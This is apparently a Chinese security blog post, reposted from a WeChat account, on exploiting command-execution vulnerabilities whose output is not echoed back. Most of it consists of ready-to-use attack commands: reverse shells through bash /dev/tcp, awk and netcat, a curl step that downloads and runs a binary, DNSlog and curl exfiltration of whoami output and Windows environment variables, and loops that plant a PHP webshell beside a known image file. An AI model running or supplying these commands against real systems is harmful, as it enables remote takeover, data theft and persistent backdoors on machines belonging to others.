前言
命令执行漏洞是指在一个应用程序或系统中存在缺陷,使得攻击者能够通过输入恶意命令来执行任意代码,从而获取未经授权的访问权限。这类漏洞通常发生在用户输入没有被正确验证或过滤的情况下,攻击者可以通过操纵输入来执行系统命令。
命令执行漏洞可能存在于各种不同的软件和系统中,包括网页应用、操作系统、数据库系统等。攻击者通常会尝试通过输入特定的命令或利用系统命令执行漏洞来获取更高的权限、访问敏感信息或执行恶意操作。
但在测试的过程中,经常会遇到RCE漏洞没有回显的情况,这种不能直接在页面上看到命令执行的结果,本篇文章来看看遇到这种情况如何去利用。
要利用一个命令执行点,最有效的方式便是反弹shell了。反弹shell的方式方法有很多,下面介绍几种反弹shell的方式。
Bash反弹shell TCP
目标机:
bash -c 'exec bash -i &>/dev/tcp/x.x.x.x/6666 <&1'
攻击机:
nc -lvvp 6666
目标机:
sh -i >& /dev/udp/x.x.x.x/6666 0>&1
攻击机:
nc -u -lvp 6666
AWK反弹shell
目标机:
awk 'BEGIN {s = "/inet/tcp/0/x.x.x.x/6666"; while(42) { do{printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c);}} while(c != "exit") close(s)}}' /dev/null
攻击机:
nc -lvvp 6666
nc反弹shell
目标机:
nc -e /bin/sh x.x.x.x 6666
攻击机:
nc -lvp 6666
如果nc没有-e参数
使用nc x.x.x.x 6666 | /bin/bash | nc x.x.x.x 5555#从6666端口获取到命令,bash 运行后将命令执行结果返回 5555 端口,攻击者主机上也是打开两个终端分别执行监听。
目标机:
curl http://0.0.0.0:40160/bins -o /opt/bins -k;chmod +x /opt/bins;/opt/bins > /dev/null 2>&1 &
攻击机msf执行监听:
可以通过dnslog外带来获取命令执行后的结果,从而方便我们来判断命令是否执行成功以及进行更深层次的利用。缺点就是dnslog一般只能带出一条数据。
- 1.用户变量
使用%用户变量%来获取信息
ping %USERNAME%.7irz77.dnslog.cn
常用的用户变量如下:
%USERNAME% | 返回当前登录的用户的名称。 |
%USERDOMAIN% | 返回包含用户帐户的域的名称。 |
%OS% | 返回操作系统名称。 |
%USERPROFILE% | 返回当前用户的配置文件的位置。 |
%ALLUSERSPROFILE% | 返回“所有用户”配置文件的位置。 |
%APPDATA% | 返回默认情况下应用程序存储数据的位置。 |
%CD% | 返回当前目录字符串。 |
%CMDCMDLINE% | 返回用来启动当前的 Cmd.exe 的准确命令行。 |
%CMDEXTVERSION% | 返回当前的“命令处理程序扩展”的版本号。 |
%COMPUTERNAME% | 返回计算机的名称。 |
%COMSPEC% | 返回命令行解释器可执行程序的准确路径。 |
%DATE% | 返回当前日期。 |
%ERRORLEVEL% | 返回上一条命令的错误代码。 |
%HOMEDRIVE% | 返回连接到用户主目录的本地工作站驱动器号。 |
%HOMEPATH% | 返回用户主目录的完整路径。 |
%HOMESHARE% | 返回用户的共享主目录的网络路径。 |
%LOGONSERVER% | 返回验证当前登录会话的域控制器的名称。 |
%NUMBER_OF_PROCESSORS% | 指定安装在计算机上的处理器的数目。 |
%PATH% | 指定可执行文件的搜索路径。 |
%PATHEXT% | 返回操作系统认为可执行的文件扩展名的列表。 |
%PROCESSOR_ARCHITECTURE% | 返回处理器的芯片体系结构。 |
%PROCESSOR_IDENTFIER% | 返回处理器说明。 |
%PROCESSOR_LEVEL% | 返回计算机上安装的处理器的型号 |
%PROCESSOR_REVISION% | 返回处理器的版本号。 |
%WINDIR% | 返回操作系统目录的位置。 |
2. for命令
使用for加ping命令
for /F "delims=" %i in ('whoami') do ping %i.v0c9yy.dnslog.cn
执行命令之后,在dnslog平台获取到命令执行的结果。
1. 反引号
命令如下:
ping `whoami`.i7ac34.dnslog.
- 2.$()
命令如下:
ping $(whoami).rg6u4i.dnslog.cn
3. Curl
命令如下:
curl http://x.x.x.x:8000/`whoami`
当我们要写webshell的时候,就必须要知道绝对路径,然后在实际情况下我们往往是都不知道路径的。那么如何在不知道路径的情况下写入webshell呢?
思路是可以在网站上找到一个静态的资源,例如我们知道这个网站有一个logo.png,我们不需要知道它的绝对路径就可以通过下面的方式,在该图片路径下创建一个logo.png.php文件。
命令如下:
for /r C:%i in (logo.png) do @echo "123456" > %i.php
下面这张图可以看到已经成功写入 logo.png.php文件
命令如下:
for i in `find /tmp -name "logo.png"`; do echo "123456" >`basename $i`.php; done
下面这张图可以看到已经成功写入 logo.png.php文件
工具利用:
原文始发于微信公众号(两年半网安练习生):命令执行无回显利用总结 附工具
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论